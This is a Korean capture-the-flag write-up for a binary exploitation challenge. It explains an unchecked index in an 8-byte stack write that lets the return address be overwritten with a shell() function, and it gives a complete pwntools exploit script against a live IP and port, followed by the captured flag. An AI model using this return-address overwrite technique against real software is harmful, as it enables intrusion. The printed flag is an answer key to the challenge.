원격 접속 :
nc 3.111.45.95 20005
1. 바이너리 기본 정보
항목 | 결과 |
---|---|
PIE | 끔 (ET_EXEC ) |
NX | 켜짐 |
Canary | 켜짐 |
RELRO | Partial |
PIE 가 꺼져 있으므로 정적 주소를 그대로 사용할 수 있다.
$ nm chall | grep -w shell
0000000000401285 T shell
2. 취약점
scanf("%llu", &val);
*((unsigned long long *)buf + idx) = val;
buf
는 스택에 0x40 바이트.idx
에 대한 경계 검사가 전혀 없다.- 8바이트 단위 쓰기이므로 RET 슬롯까지 덮어쓸 수 있다.
3. 익스플로잇 로직
-
RET 자리에
shell
함수 주소를 덮는다- idx : 11
- val : 0x401285
-
루프 종료
- idx : 0x77777777
- 이 경우
val >
프롬프트가 나오지 않고while
이 즉시 break 된다.
main()
이 리턴하면서 우리가 덮어둔 RET →shell()
로 점프/bin/sh
쉘에서cat /flag
4. 자동 익스플로잇 스크립트(pwntools)
from pwn import *
HOST, PORT = "3.111.45.95", 20005
RET_IDX = 11
SHELL = 0x401285
BREAK_KEY = 0x77777777
io = remote(HOST, PORT)
# RET 덮어쓰기
io.recvuntil(b"idx > ")
io.sendline(str(RET_IDX).encode())
io.recvuntil(b"val > ")
io.sendline(str(SHELL).encode())
# 루프 탈출
io.recvuntil(b"idx > ")
io.sendline(str(BREAK_KEY).encode())
# 쉘 접속
io.interactive() # cat flag
6. 플래그
Kuality{061fbd32ce5404bd0630327cd62d81c89ae155ff040d91b54e68e29ef48d8406}